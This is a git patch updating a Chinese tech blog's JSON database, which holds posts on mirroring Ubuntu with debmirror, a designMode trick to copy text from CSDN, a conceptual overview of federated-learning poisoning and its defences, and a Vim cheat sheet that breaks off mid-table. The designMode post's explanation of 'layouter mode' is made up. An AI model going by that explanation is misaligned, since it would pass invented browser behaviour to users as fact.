From 7dd5e8afd511260d4a74644295c3f04b0f3bd1e2 Mon Sep 17 00:00:00 2001 From: xeonds Date: Sat, 21 Oct 2023 22:19:41 +0000 Subject: [PATCH] =?UTF-8?q?Deploying=20to=20web=20from=20=20@=20b2e822b3bd?= =?UTF-8?q?c429a219dd7ce03cdb5c09eb188224=20=F0=9F=9A=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- db.json | 2 +- index.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/db.json b/db.json index 98164d88..9f352746 100644 --- a/db.json +++ b/db.json @@ -1 +1 @@ -{"version":1,"author":[{"name":"神社的储物间","email":"","uri":"https://xeonds.github.io/","description":"*节操消失了*","article":[{"title":"如何搭建一个本地镜像源","time":"2023-10-16T15:23:51Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e最近好哥们沉迷pocketchip,但是苦于架构比较古老(ARM-V7a但是能跑Linux Mainline),所以镜像站特别稀少,只有个国外的站点还开着。所以嘛,闲着也是闲着,就打算自己搭建一个镜像站咯。\u003c/p\u003e\u003cp\u003e顺便还能好好玩玩那个ESXi服务器。毕竟现在就只跑了一个OpenWRT和一个Ubuntu Server,实在没利用起来(\u003c/p\u003e\u003cp\u003e或许回头整个本地镜像源还能试试刷新一下Arch安装速度记录(逃\u003c/p\u003e\u003ch2 id=\"准备\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/16/setup-local-linux-mirror/#%E5%87%86%E5%A4%87\" class=\"headerlink\" title=\"准备\"\u003e\u003c/a\u003e准备\u003c/h2\u003e\u003cp\u003e首先需要足够的硬盘空间和一个Linux计算机,以及差不多的网络环境。\u003c/p\u003e\u003cp\u003e然后是一些\u003cdel\u003e神秘妙妙\u003c/del\u003e工具:\u003ccode\u003eapache2, debmirror, gnupg, xz-utils, rsync(recommend)\u003c/code\u003e\u003c/p\u003e\u003ch2 id=\"开始\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/16/setup-local-linux-mirror/#%E5%BC%80%E5%A7%8B\" class=\"headerlink\" title=\"开始\"\u003e\u003c/a\u003e开始\u003c/h2\u003e\u003cp\u003e首先,因为同步的数据量会比较大,所以建议使用一块单独的硬盘或者看具体情况分个区都行。硬盘处理好后,可以将它挂载到\u003ccode\u003e/mount/\u003c/code\u003e下,随后创建我们的镜像站仓库目录们。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emkdir\u003c/span\u003e -p /mirror/debmirror/{amd64,keyring}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emkdir\u003c/span\u003e -p /mirror/scripts \u003cspan class=\"comment\"\u003e# 各种镜像站工具脚本\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后安装GPG keyrnig:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egpg --no-default-keyring --keyring /mirror/debmirror/mirrorkeyring/trustedkeys.gpg --import /usr/share/keyrings/ubuntu-archive-keyring.gpg\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e安装完成后,在Web服务器站点根目录创建符号链接:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e /var/www/html\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eln\u003c/span\u003e -s /mirror/debmirror/amd64 ubuntu\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在这之后,我们还需要配置debmirror才能实现自动同步upstream等功能。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e /mirror/scripts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget https://louwrentius.com/files/debmirroramd64.sh.txt -O debmirroramd64.sh \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003echmod\u003c/span\u003e +x debmirroramd64.sh\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接着修改脚本设置:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexport\u003c/span\u003e GNUPGHOME=/mirror/debmirror/mirrorkeyring\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003erelease=focal,focal-security,focal-updates,focal-backports,jammy,jammy-security,jammy-updates,jammy-backports\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eserver=nl.archive.ubuntu.com\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eproto=rsync\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eoutPath=/mirror/debmirror/amd64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#bwlimit=1000 # 设置rsync的带宽限速为1000KB/s,如果要启用这个限制,还需要取消注释下面的行:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e--rsync-options \u003cspan class=\"string\"\u003e\u0026#34;-aIL --partial --bwlimit=\u003cspan class=\"variable\"\u003e$bwlimit\u003c/span\u003e\u0026#34;\u003c/span\u003e \\\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成后,你可以先运行一次脚本来完成第一次同步。\u003cstrong\u003e同步完成后\u003c/strong\u003e,再在crontab里边加上自动任务(不然你的同步进程时间过长,可能会干扰cron任务):\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e0 1 * * * /mirror/scripts/debmirroramd64.sh\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"References\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/16/setup-local-linux-mirror/#References\" class=\"headerlink\" title=\"References\"\u003e\u003c/a\u003eReferences\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://louwrentius.com/how-to-setup-a-local-or-private-ubuntu-mirror.html\"\u003eLouwrentius - How to Setup a Local or Private Ubuntu Mirror\u003c/a\u003e\u003cbr/\u003e\u003ca href=\"https://www.debian.org/mirror/ftpmirror\"\u003eDebian - Setting up a Debian archive mirror\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/10/16/setup-local-linux-mirror/"},{"title":"CSDN复制解禁","time":"2023-10-12T06:18:34Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e省流不看:F12开发者工具终端执行\u003ccode\u003edocument.designMode=\u0026#39;on\u0026#39;\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e原理嘛,就是利用浏览器的DOM启用设计模式来允许选择元素。关于DOM的详细介绍在下边:\u003c/p\u003e\u003ch2 id=\"DOM简介\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/12/csdn-copy/#DOM%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"DOM简介\"\u003e\u003c/a\u003eDOM简介\u003c/h2\u003e\u003cp\u003e在浏览器中,\u003ccode\u003edocument\u003c/code\u003e对象是一个非常重要的对象,它代表了当前页面的文档。\u003ccode\u003edocument.DesignMode\u003c/code\u003e属性是\u003ccode\u003edocument\u003c/code\u003e对象的一个属性,它用于指定页面的设计模式。\u003c/p\u003e\u003cp\u003e设计模式主要有两种:\u003c/p\u003e\u003col\u003e\u003cli\u003e模式(常态):页面在正常模式下运行,用户可以正常查看和操作页面元素。 \u003c/li\u003e\u003cli\u003elayouter 模式(布局模式):页面在 layouter 模式下运行,用户无法正常查看和操作页面元素,只能查看页面的布局和结构。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e这两种设计模式主要用于开发者调试和测试网页布局。通常,开发者会在开发过程中将页面切换到 layouter 模式,以便更好地查看和调整页面布局。当开发完成后,页面会自动切换回正常模式。\u003c/p\u003e\u003cp\u003e在页面加载时,浏览器会自动设置\u003ccode\u003edocument.DesignMode\u003c/code\u003e属性的值。开发者也可以通过 JavaScript 代码来修改这个属性的值,从而实现在不同设计模式之间的切换。\u003c/p\u003e\u003cp\u003e除了\u003ccode\u003eDesignMode\u003c/code\u003e属性之外,\u003ccode\u003edocument\u003c/code\u003e对象还有许多其他的属性和方法,它们可以用来完成各种网页开发任务。例如:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003ccode\u003edocument.body\u003c/code\u003e:表示页面的主体部分,包含了所有的 HTML 元素。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.title\u003c/code\u003e:表示页面的标题,通常显示在浏览器的标签页上。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.getElementById()\u003c/code\u003e:通过元素的 ID 获取指定元素。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.getElementsByClassName()\u003c/code\u003e:通过元素的类名获取指定元素集合。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.getElementsByTagName()\u003c/code\u003e:通过元素的标签名获取指定元素集合。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.querySelector()\u003c/code\u003e:通过 CSS 选择器获取指定元素。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.querySelectorAll()\u003c/code\u003e:通过 CSS 选择器获取指定元素集合。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e此外,\u003ccode\u003edocument\u003c/code\u003e对象还提供了许多用于操作 DOM 的方法,如\u003ccode\u003ecreateElement()\u003c/code\u003e、\u003ccode\u003eappendChild()\u003c/code\u003e、\u003ccode\u003eremoveChild()\u003c/code\u003e、\u003ccode\u003einsertBefore()\u003c/code\u003e等,以及用于处理事件的方法,如\u003ccode\u003eaddEventListener()\u003c/code\u003e、\u003ccode\u003eremoveEventListener()\u003c/code\u003e等。\u003c/p\u003e\u003cp\u003e总之,\u003ccode\u003edocument\u003c/code\u003e对象是浏览器中最重要的对象之一,它为网页开发者提供了丰富的属性和方法,使得开发者可以更加方便地完成各种网页开发任务。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/10/12/csdn-copy/"},{"title":"联邦学习的投毒和攻防方法","time":"2023-10-11T10:59:46Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e十分的交叉学科。具体而言就是机器学习领域的数据安全问题。\u003c/p\u003e\u003cp\u003e首先是标题 说的大概是一种新的人工智能学习范式。在这种防方式里也有攻击方式和相应的防御方式。\u003c/p\u003e\u003ch2 id=\"联邦学习简介\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/#%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"联邦学习简介\"\u003e\u003c/a\u003e联邦学习简介\u003c/h2\u003e\u003cul\u003e\u003cli\u003edefinition 联邦学习:一种分布式学习方法。解决的问题主要针对数据量不够/数据获取途径(成本问题),数据难以集中(法律问题和隐私问题)。一种时间方法是在本地进行小规模训练,然后将训练得到的模型参数上传汇总。不但规避了隐私版权问题,也保证了训练效果。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e根据以样本和特征分别作为基准,联邦学习又分为横向/纵向:同特征不同样本/同样本不同特征。它们各自有着相当不同的模型参数聚合方法。后者通常发生在大型企业之间,而前者通常发生在用户/公司之间,双方并非信任关系。\u003c/p\u003e\u003cp\u003e前者的聚合方法有简单的加权平均FedAvg,有离群点修复FedProx,还有SCAFFOLD等。而后者则利用隐私求交集PSI来完成加密实体对齐。典型的纵向联邦学习框架有SecureBoost。\u003c/p\u003e\u003cp\u003e但是数据特征仍然是反映在梯度参数中的,通过深度梯度泄漏方法DLG,可以恢复训练数据,这样就间接泄漏了训练数据的隐私。\u003c/p\u003e\u003ch2 id=\"隐私数据保护方法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/#%E9%9A%90%E7%A7%81%E6%95%B0%E6%8D%AE%E4%BF%9D%E6%8A%A4%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"隐私数据保护方法\"\u003e\u003c/a\u003e隐私数据保护方法\u003c/h2\u003e\u003cp\u003e防止梯度泄露的方法主要是两类:密码学方法和差分隐私(Differential Privacy).前者有MPC和HE等,通信开销和计算量较大,但是精度较高。后者则有噪声问题的困扰。\u003c/p\u003e\u003ch2 id=\"联邦学习的攻击方法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/#%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"联邦学习的攻击方法\"\u003e\u003c/a\u003e联邦学习的攻击方法\u003c/h2\u003e\u003cp\u003e目的就是使训练模型很难收敛,破坏联邦学习模型的性能和可信度。\u003c/p\u003e\u003cul\u003e\u003cli\u003e投毒攻击,给本地数据添加错误,来弱化学习效果;或者更改分布式训练的模型参数。攻击者的知识、能力越强则攻击能力越强\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e但是太离谱的数据会被数据清洗过滤掉,太小的数据又没啥效果。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e目标/非目标攻击:针对特定/随即目标进行数据编造投毒攻击。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e数据打乱:比如对于不同群体的用户数据,互换他们attribute的结果,最终使得结果在不同群体上相反。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"投毒攻击的检测\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/#%E6%8A%95%E6%AF%92%E6%94%BB%E5%87%BB%E7%9A%84%E6%A3%80%E6%B5%8B\" class=\"headerlink\" title=\"投毒攻击的检测\"\u003e\u003c/a\u003e投毒攻击的检测\u003c/h2\u003e\u003cp\u003e这种检测难度不小:投毒攻击检测和隐私保护间的矛盾、数据非独立分布、攻击隐蔽性。\u003c/p\u003e\u003cp\u003e比较朴素的思路就是使用数据挖掘的清洗方法,对离群点等进行清洗。比如说有一些聚合方法:Krum, Bulyan, Trimmed mean(修整均值), Medium(中位数)等,都是一些经典的鲁棒性聚合规则。\u003c/p\u003e\u003ch2 id=\"防御方法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/#%E9%98%B2%E5%BE%A1%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"防御方法\"\u003e\u003c/a\u003e防御方法\u003c/h2\u003e\u003cp\u003e首先是基于统计学的方法。但是它的局限性是只有少部分客户端被控制。\u003c/p\u003e\u003cp\u003e其次是用验证用数据集进行验证。不过这样纯粹的数据集很难找。\u003c/p\u003e\u003cp\u003e再者就是用机器学习方法1-AE进行检验。它首先在本地预训练一个自编码器模型,然后正式训练过程中基于自编码器计算各节点模型更新的重构误差。\u003c/p\u003e\u003cp\u003e2-GAN:可以用GAN尝试恢复出来训练样本来生成本地训练集,从而验证模型参数是否正常。但是缺陷是,无法应对在训练初期就发动攻击的方式。\u003c/p\u003e\u003cp\u003e区块链1-FLChain:由部分节点进行数据检测再进行上传,从而保证参数的正确性。问题是这部分节点如何选择,以及是否正常。解决方法可以是动态更新这部分成员结点,通过一系列置信度去更新这部分节点。\u003c/p\u003e\u003ch2 id=\"研究成果:神经网络模型水印\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/#%E7%A0%94%E7%A9%B6%E6%88%90%E6%9E%9C%EF%BC%9A%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C%E6%A8%A1%E5%9E%8B%E6%B0%B4%E5%8D%B0\" class=\"headerlink\" title=\"研究成果:神经网络模型水印\"\u003e\u003c/a\u003e研究成果:神经网络模型水印\u003c/h2\u003e\u003cp\u003e初始模型嵌入水印,并对水印进行检测。缺点是上传的模型不能加密。当然也可以允许加密,不过可以聚合模型,用聚合后的模型检验上传者。或者,可以比对上传者的历史行为数据,以此检测上传节点是否异常。\u003c/p\u003e\u003cp\u003e时间有限,基本就到这里了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/"},{"title":"Vim备忘录","time":"2023-09-29T21:30:53Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"How-to-Exit\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#How-to-Exit\" class=\"headerlink\" title=\"How to Exit\"\u003e\u003c/a\u003eHow to Exit\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:q[uit]\u003c/td\u003e\u003ctd\u003eQuit Vim. This fails when changes have been made.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:q[uit]!\u003c/td\u003e\u003ctd\u003eQuit without writing.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:cq[uit]\u003c/td\u003e\u003ctd\u003eQuit always, without writing.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq\u003c/td\u003e\u003ctd\u003eWrite the current file and exit.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq!\u003c/td\u003e\u003ctd\u003eWrite the current file and exit always.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq {file}\u003c/td\u003e\u003ctd\u003eWrite to {file}. Exit if not editing the last\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq! {file}\u003c/td\u003e\u003ctd\u003eWrite to {file} and exit always.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]wq[!]\u003c/td\u003e\u003ctd\u003e[file] Same as above, but only write the lines in [range].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eZZ\u003c/td\u003e\u003ctd\u003eWrite current file, if modified, and exit.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eZQ\u003c/td\u003e\u003ctd\u003eQuit current file and exit (same as “:q!”).\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Editing-a-File\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Editing-a-File\" class=\"headerlink\" title=\"Editing a File\"\u003e\u003c/a\u003eEditing a File\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:e[dit]\u003c/td\u003e\u003ctd\u003eEdit the current file. This is useful to re-edit the current file, when it has been changed outside of Vim.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:e[dit]!\u003c/td\u003e\u003ctd\u003eEdit the current file always. Discard any changes to the current buffer. This is useful if you want to start all over again.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:e[dit] {file}\u003c/td\u003e\u003ctd\u003eEdit {file}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:e[dit]! {file}\u003c/td\u003e\u003ctd\u003eEdit {file} always. Discard any changes to the current buffer.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003egf\u003c/td\u003e\u003ctd\u003eEdit the file whose name is under or after the cursor. Mnemonic: “goto file”.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Inserting-Text\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Inserting-Text\" class=\"headerlink\" title=\"Inserting Text\"\u003e\u003c/a\u003eInserting Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ea\u003c/td\u003e\u003ctd\u003eAppend text after the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eA\u003c/td\u003e\u003ctd\u003eAppend text at the end of the line [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ei\u003c/td\u003e\u003ctd\u003eInsert text before the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eI\u003c/td\u003e\u003ctd\u003eInsert text before the first non-blank in the line [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003egI\u003c/td\u003e\u003ctd\u003eInsert text in column 1 [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eo\u003c/td\u003e\u003ctd\u003eBegin a new line below the cursor and insert text, repeat [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eO\u003c/td\u003e\u003ctd\u003eBegin a new line above the cursor and insert text, repeat [count] times.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Inserting-a-file\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Inserting-a-file\" class=\"headerlink\" title=\"Inserting a file\"\u003e\u003c/a\u003eInserting a file\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:r[ead] [name]\u003c/td\u003e\u003ctd\u003eInsert the file [name] below the cursor.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:r[ead] !{cmd}\u003c/td\u003e\u003ctd\u003eExecute {cmd} and insert its standard output below the cursor.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Deleting-Text\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Deleting-Text\" class=\"headerlink\" title=\"Deleting Text\"\u003e\u003c/a\u003eDeleting Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e\u0026lt;Del\u0026gt; or x\u003c/td\u003e\u003ctd\u003eDelete [count] characters under and after the cursor\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eX\u003c/td\u003e\u003ctd\u003eDelete [count] characters before the cursor\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ed{motion}\u003c/td\u003e\u003ctd\u003eDelete text that {motion} moves over\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003edd\u003c/td\u003e\u003ctd\u003eDelete [count] 